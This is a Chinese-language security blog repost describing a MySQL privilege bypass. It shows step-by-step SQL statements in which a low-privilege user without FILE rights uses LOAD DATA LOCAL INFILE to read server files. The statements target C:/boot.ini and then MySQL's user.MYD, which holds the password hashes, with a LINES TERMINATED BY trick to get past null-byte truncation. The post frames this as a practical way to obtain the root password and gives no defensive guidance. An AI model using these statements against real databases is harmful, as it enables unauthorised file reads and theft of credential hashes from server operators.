Mysql 漏洞利用(越权读取文件,实战怎么从低权限拿到root密码)

暗月博客 2019年11月21日17:02:39评论645 views字数 805阅读2分41秒阅读模式
摘要

cnrstar (Be My Personal Best!) | 2014-05-20 21:58 众所周知,Mysql的用户在没有File权限情况下是无法通过Load_file读文件或者通过into dumpfile 或者into outfile去写文件,但是偶尔在一个网站上发现个小技巧,也就是通过load data infile可以读取本地文件到数据库,这样子我们就可以在低权限下通过这个bug去读取服务器上的文件。代码如下:

cnrstar (Be My Personal Best!) | 2014-05-20 21:58

众所周知,Mysql的用户在没有File权限情况下是无法通过Load_file读文件或者通过into dumpfile 或者into outfile去写文件,但是偶尔在一个网站上发现个小技巧,也就是通过load data infile可以读取本地文件到数据库,这样子我们就可以在低权限下通过这个bug去读取服务器上的文件。代码如下:

LOAD DATA LOCAL INFILE 'C:/boot.ini' INTO TABLE test FIELDS TERMINATED BY '';

后来我就一直想怎么利用这个问题。一个可行的思路如下:

我们去读取mysql的数据库文件,mysql库的user表里存放着所有用户的hash,我们只要读取到这个文件,就差不多读取到了root的密码。

于是本地测试,注意,我当前连接的用户test是没有File权限的:

Mysql 漏洞利用(越权读取文件,实战怎么从低权限拿到root密码)

LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user.MYD' INTO TABLE test2 fields terminated by '';

然后

select * from test2;

Mysql 漏洞利用(越权读取文件,实战怎么从低权限拿到root密码)

发现啥都木有,只有一个烂字符,我们用winhex打开一下user.myd文件

Mysql 漏洞利用(越权读取文件,实战怎么从低权限拿到root密码)

OK,找到问题了,被00字符给截断了,导致后面的东西都没进数据库。下面就想办法绕过这个限制。

经过几次尝试发现,在后面加上LINES TERMINATED BY '/0' 即可,这样子就把截断符号作为分隔符处理了,完整的语句:

LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user2.MYD' INTO TABLE test2 fields terminated by '' LINES TERMINATED BY '/0';

效果:

Mysql 漏洞利用(越权读取文件,实战怎么从低权限拿到root密码)

OK,完成!

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日17:02:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Mysql 漏洞利用(越权读取文件,实战怎么从低权限拿到root密码)http://cn-sec.com/archives/71531.html

发表评论

匿名网友 填写信息